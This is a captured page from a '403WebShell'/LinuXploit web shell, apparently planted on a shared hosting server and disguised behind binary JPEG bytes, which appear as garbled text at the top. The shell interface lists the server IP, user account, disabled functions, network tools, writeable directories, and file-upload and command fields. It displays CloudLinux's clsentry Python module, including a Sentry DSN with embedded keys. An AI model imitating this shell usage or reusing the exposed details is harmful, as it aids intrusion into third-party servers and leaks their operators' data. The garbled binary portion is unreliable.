JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 88.222.222.133  /  Your IP : 216.73.216.122
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/cloudlinux/venv/lib64/python3.11/site-packages/clsentry/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/cloudlinux/venv/lib64/python3.11/site-packages/clsentry//__init__.py
# coding=utf-8

# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT
import logging
import sentry_sdk

from clcommon.utils import get_rhn_systemid_value, get_username
from clcommon.lib.network import get_ip_addr, get_hostname

from clsentry.client import (
    UserlandClient,
    SafeRequestsHTTPTransportSentrySdk,
    ThreadedHttpTransport,
    get_user_tags,
    before_send
)
from clsentry.utils import get_pkg_version

from raven.handlers.logging import SentryHandler
from raven.conf import setup_logging
from sentry_sdk.integrations.logging import LoggingIntegration

CLLIB_DSN = 'https://9713d1296f804031b058b8f2d789d7ac:8ddacae32d8246cf8b25cf826bf3fc0a@cl.sentry.cloudlinux.com/12'
__all__ = ('init_sentry_client', 'init_cllib_sentry_client', 'init_sentry_sdk_client')


def init_sentry_client(project, release, dsn, handle=True, custom_length=None):
    """
    @deprecated use init_sentry_sdk_client
    Create generic sentry client and install logging hooks
    """
    sentry = UserlandClient(dsn, release=release)
    # set user context settings, like id or email
    sentry.user_context({
        'id': get_rhn_systemid_value('system_id') or get_ip_addr(get_hostname()) or get_hostname() or get_username()
    })
    # and also set project name
    sentry.tags['Project'] = project

    if custom_length:
        sentry.string_max_length = custom_length

    if handle:
        # setup handler, so we can track logging.error's
        handler = SentryHandler(sentry, level=logging.ERROR)
        setup_logging(handler)
    return sentry


def init_cllib_sentry_client():
    """
    Create sentry client for cllib package
    and install logging hooks
    """
    return init_sentry_client(
        'python-cllib', release=get_pkg_version('alt-python27-cllib'), dsn=CLLIB_DSN)


def init_sentry_sdk_client(project, release, dsn, handle=True, custom_length=1000,
                           transport=SafeRequestsHTTPTransportSentrySdk, environment=None):
    """
    Initialize the Sentry SDK client and configure logging integration.

    :param project: Project name.
    :param release: Application release version.
    :param dsn: Sentry DSN.
    :param handle: Enable logging integration (default: True).
    :param custom_length: Max length for captured values (default: 1000).
    :param transport: Transport method, can be 'threading' or a transport class.
    :param environment: Environment name (default: None). If None or empty string,
                        defaults to production environment.
    :return: Configured Sentry SDK instance.
    """

    sentry_sdk.init(
        dsn=dsn,
        release=release,
        environment=environment or None,
        transport=ThreadedHttpTransport if transport == 'threading' else transport,
        ignore_errors=[KeyboardInterrupt],
        max_value_length=custom_length,
        before_send=before_send,
        attach_stacktrace=True,
        _experiments={"auto_enabling_integrations": False},
        integrations=[LoggingIntegration(level=logging.ERROR, event_level=logging.ERROR)] if handle else [],
    )

    with sentry_sdk.configure_scope() as scope:
        scope.set_user({
            'id': get_rhn_systemid_value('system_id') or get_ip_addr(get_hostname()) or get_hostname() or get_username()
        })
        for key, value in get_user_tags().items():
            scope.set_tag(key, value)
        scope.set_tag("Project", project)

    return sentry_sdk


def sentry_sdk_send_message(message: str, level: str = "info", tags: dict = None, extra: dict = None,
                            attachments: list[dict] = None, user: dict = None, fingerprint: list = None,
                            contexts: dict = None, transaction: str = None):
    """
    Send a message to Sentry with additional context.

    :param message: The text of the message.
    :param level: Logging level (debug, info, warning, error, fatal).
    :param tags: Additional tags (dict). For example: {"foo": "bar"}
    :param extra: Additional data (dict). For example: {"foo": "bar"}
    :param attachments: Additional files (list). With "path" or "bytes", "filename", and optional "content_type.
    :param user: User information (dict). With "id", and "username".
    :param fingerprint: Fingerprint information (list). For example: ["my-custom-events-group"]
    :param contexts: Additional context data (dict). For example: {"character": {"age": 19}}
    :param transaction: Transaction name (string). For example: UserListView

    Docs: https://docs.sentry.io/platforms/python/enriching-events/
    """

    with sentry_sdk.push_scope() as scope:
        if tags:
            for key, value in tags.items():
                scope.set_tag(key, value)

        if extra:
            for key, value in extra.items():
                scope.set_extra(key, value)

        if attachments:
            for attachment in attachments:
                scope.add_attachment(**attachment)

        if user:
            scope.set_user(user)

        if fingerprint:
            scope.fingerprint = fingerprint

        if contexts:
            for key, value in contexts.items():
                scope.set_context(key, value)

        if transaction:
            scope.set_transaction_name(transaction)

        sentry_sdk.capture_message(message, level=level)

Youez - 2016 - github.com/yon3zu
LinuXploit